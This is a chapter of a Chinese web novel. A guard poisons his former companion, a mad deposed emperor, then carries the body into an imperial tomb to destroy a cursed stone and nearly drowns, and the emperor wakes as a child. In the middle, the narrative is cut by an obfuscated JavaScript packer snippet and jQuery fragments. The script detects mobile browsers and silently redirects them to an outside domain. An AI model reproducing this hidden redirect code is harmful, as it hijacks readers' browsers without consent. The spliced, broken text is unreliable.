11.交杯(楔子卷完)

作品:《焚兰心兮还洲山

    宇文暾笑着笑着,声音渐弱,他压在自己所写的天书上,随意捻起一张,薄纸正反都写满,是密集的压力,是不写出脑中的疯想就会头痛欲死。宇文暾疯癫道:“我昏庸?呵,我要与谁说?我要怎么说!我自己都认不得的东西,我却能誊写下来!你识得吗?俞知路,你既然带了毒酒来,为何还要装作念旧情?你为什么不早来?我封皇后的时候你就该来!”


    俞知路许久没有体会过,这浑身颤抖不可止息的感觉。


    宇文暾做皇帝的年号为“清仁”,清平仁和,这亦是他们早就商量好的。宇文暾只做了五年皇帝,有最大的希望便有最大的失望。俞知路察觉到,他与宇文暾在某一个瞬间就互相走失,之后便一失再失。是哪个瞬间呢?契机为何?原因又为何?愈想愈是想不通。亦不愿问,怕听来的全是狡辩。


    在见到宇文暾之前,俞知路担心自己对宇文暾只剩厌烦与痛恶。他想一进来便捏着宇文暾的脸,喂他毒酒。


    偏偏宇文暾还用着当年的声口,那若隐若现的一点旧时的兰缨。


    俞知路只觉手腕酸软,不想再握刀。毒酒已有了,我还有什么需要问吗?我还有什么想听吗?“兰缨,你若是安静了、睡下了,或许就还是当初……我的兰缨。”俞知路的眼中忽然闪烁着异样的亮光,终于说服自己。


    惊时刀归鞘,俞知路为了贴近宇文暾,便一同跪在纸中,膝行至宇文暾身旁。俞知路一把夺去宇文暾手里的纸张,纸在俞知路手中捏成软烂的一团。俞知路凑上前,仔仔细细地瞧宇文暾。


    眼睛,鼻梁,眉毛,嘴唇,一些隐蔽的小痣,发线,耳垂,牙齿……俞知路撕开宇文暾的上衣,轻轻抚摸宇文暾胸前的箭疤,的确是他,没错。俞知路说:“睡着了就是我的好兰缨。你不是皇帝,我不是暗卫,你不再激我,我不会害你……”


    俞知路伸长手臂,提起酒壶,倒满一杯酒,手悬在空中,顿了顿,再倒上第二杯。


    宇文暾拂开脸侧的发丝,顺手接过酒杯。宇文暾问道:“你怎的看出,我不是我?你又怎么分辨,我还是我?”


    不待俞知路作答,宇文暾自顾自说道:“我唯一做错的事就是一次又一次想你。”


    说罢,宇文暾欲饮酒,俞知路利落地夺走酒杯。临死之际了,他们还是各有偏执。


    俞知路说:“既然头风难受,不必再想这些。我最后与你喝一杯酒,我还怨你,你仍怨我,这样也算相互挂念,不觉孤单了。”


    宇文暾问:“你要怎么喝?交杯?”


    俞知路问:“你还敢不敢?”


    宇文暾道:“你也有疯病,俞知路。”


    俞知路不喜不悲,将酒杯还给宇文暾,自己也拿起。二人端坐,四目却不敢相对。俞知路的手腕绕过宇文暾的手腕。澄清的酒液在杯中亮若水银。俞知路想着睡着的兰缨,宇文暾想着作陪的知路。


    交杯仰颈,滴酒不漏。


    宇文暾放下酒杯,很快感到胃肠有一股灼伤的剧痛。他欲开口,却被倒涌的血逼哑了。他渐渐蜷缩成一团,俞知路摊开双臂拥住宇文暾,替他裹严了旧氅,温暖,沉重,伴以儿时的诗歌。宇文暾眼前慢慢散作一片白光。他也不知道这是爱还是怨恨,宇文暾舍不得闭眼。


    生有粗茧的手覆在宇文暾眼上,改天换地,黑吞了白,死接管一切。


    俞知路直抱着宇文暾的尸首到天明。正如俞知路所想,睡着的兰缨抵过所有的背叛。俞知路宣布,他从此只爱睡着的兰缨。幸好他来见了兰缨。


    在一个极好极明媚的日子,先帝宇文暾葬以日时。


    俞知路扮作掌灯的小吏,护送灵舆入皇陵。由光到暗,灯在墨黑的甬道中光明永恒。皇帝下旨,不予以活物陪葬,故葬仪完毕后,众人退去。俞知路如一滴墨散在黑暗的墓室中,重重墓门关合,俞知路复由现身,确保每一盏长明灯都该如星辰。


    棺盖落地,俞知路背出宇文暾,这治丧的几日里,宇文暾的尸首已停得由僵转软,却不见腐烂。俞知路想,既然你只是睡着,那我留你在这里,万一你醒过来,岂不害怕?俞知路大概知晓自己已经不正常了,可若是这不正常能让自己好受些,便只能坚持。


    宇文家的皇陵内部并非是密封的独立墓室,而是连通起来的,是为宇文家的子孙在殡天后,能与先辈沟通无碍,仍为家族。从外部极难闯入皇陵,俞知路试过,无果,这才不得不找上宇文暾。


    既然宇文家皇陵互相连通,便有道路通往镇山石所在处。那日宇文暾说得简略,俞知路在实践中还是试了许多次,大约花了三天,才终于解开全部九重门,见到皇陵底部的人工池,工匠们将镇灵石铺在池底,由水浸没的镇灵石由那不祥的胭脂洋红色,转为沁人心脾的海蓝。


    自从妖石现世,北昭无一宁日。


    那么多人要送回妖石,那么多人拼死护这镇灵石。


    当年李夫人与镇北将军李邕将巨灵石运回朝中,俞知路与宇文暾便知道,这巨灵石可破,只是需要极高的武力。俞知路险些就提惊时刀来试试这石头了,却被拦下。现在俞知路再看这一块巨石,只想将巨石破碎为齑粉。他可以不眠不休,他必须要讨一个交代。


    不过,俞知路也听说了,有众多人试图来破坏掉这妖石,全都无功而返。宇文暾刚登基那年,有一伙江湖人士扮作刺客,欲逼宫宇文暾下旨开皇陵,这事失败了。而后有人试图从工匠处找到进入皇陵的办法,应当也有人潜入过了,可现在妖石还好好的。据传当年宇文康也对妖石态度复杂,私下命羽林武将来碎石,但武将崩死于宇文康面前,场景之壮烈,皇帝竟是不信,又遣人再试,直到众官以死相求,不要以肉身殉天道。那之后宇文康便笃定这巨灵石需要人祭了。


    灵池宽阔,灵石置于中央,于是最亮的水域扩开到边缘,是由暗到明。


    第一步应该是放水。


    俞知路背着宇文暾,再是不便,也踩着细细的池边走了一圈,找工匠留下的排水口。虽然是人工池,但北昭工匠技艺高超,此水是无鱼无草的活水,有进水口也有出水口。若能撬开出水口,加速水池排空,就可以方便俞知路走到中央,对巨灵石下手。


    很快,俞知路借着中心那微茫的一点光,找到了池口。俞知路跳入池中,池水恰到腰际。他将宇文暾留在进门处,宇文暾倚着石墙,垂头的模样很恬静。俞知路即便是站在池中,也忍不住看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465405|184596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过去。


    俞知路抽出惊时刀,他的刀是天下至坚至硬之物,破石不在话下。水中挥刀,力有削减,俞知路用刀撬,能感到一片片石被削下如甲片。


    忽然,池中心卷起轻柔的水旋。俞知路察觉到水流有异,可就是电光石火间,水旋增强为漩涡,同时池水暴涨。俞知路并没有因为水涨而上浮,双脚反倒像被抓牢了,水很快没过俞知路的头顶,他很及时地长吸了一口气,这口气能撑一阵子。


    池水没过池沿,蔓延向外,如同抓住了宇文暾,宇文暾歪倒下来,卷入水中。俞知路所在方位较为黑暗,但他确认水里并没有什么东西抓住他。俞知路运功,以刀撑地,作反方向的推手,用了极大的力气,终于是将自己拔出了暗流。


    随水流行进,因是规律的水旋,俞知路于黑暗中竟然摸见了宇文暾的手。这一握就是再也不松开。


    俞知路苦中作乐,忽的想起宇文暾的承诺。宇文暾做皇帝,俞知路就做皇后。皇帝皇后共葬于皇陵,再自然不过。


    水流没有将二人卷至中心光亮处,反倒越推越远,越远越冰冷。窒息,迷茫,失序。俞知路拥紧了宇文暾,水流推得宇文暾的双手亦是紧贴俞知路,如同二人合抱。


    俞知路不愿闭眼,他若不放弃,世上还没有能杀得了俞知路的东西。


    视野愈来愈黑,拥抱愈来愈紧。


    人死前原来真能看见走马灯?


    二人的回忆一幕幕倒流。痛彻心扉的毒酒赐死,再往前,竟然就到了清仁元年的那场上巳夜宴,再到两人于镇北府的胡闹话,然后是二人最后一场漂亮的战役,默契如双生,宇文暾与俞知路若运转中的阴阳两极,包抄敌军,俞知路飞身,赴向太极的鱼眼,找见敌军首领,取首级,破阵,鬼将之姿已是大成,兵阵溃散如蚁,而外圈的宇文暾领兵疏通逃兵,差使各校尉包抄,要降兵不要尸体……那些辉煌的日子,那些忠义理智信的承诺……


    俞知路并非死于溺水。


    俞知路只是太想从前。


    面冷身热,软缎绫罗。这香味许久没有闻见过了,有些思念母妃。


    身体很轻,手脚很暖。有人轻轻推着自己,柔和的女声传来:“三皇子殿下,李夫人要您早些去她寝殿呢,还差我们给您换上保暖的衣物,似是要出宫。”


    宇文暾只觉自己发癔症发回了童年,荒唐至极,可笑至极。宇文暾道:“滚,全部都滚。”


    自宇文暾的疯病已彻底败坏他的人生后,宇文暾破罐破摔,分不清什么是心中言语,什么是脱口的话。今日不说,明日也要说的。难道他们还不知道宇文暾已经是个疯子了么?


    “那辛夷先告退。”


    宇文暾倏地睁眼。辛夷?这名字也许久没有听见过了。真是辛夷?


    宇文暾侧眼一瞧,竟然真是辛夷。


    “辛夷,别走。”宇文暾道,“你过来。”


    侍女辛夷迟疑地回到床前,宇文暾抬手,只见自己手臂奇短。宇文暾恍惚道:“唤俞知路来侍奉。”


    “俞知路?”


    辛夷的脸色比哭还难看。杨贵嫔总是咒三皇子殿下慧极必伤,三皇子殿下不会是前一日读书读傻了吧?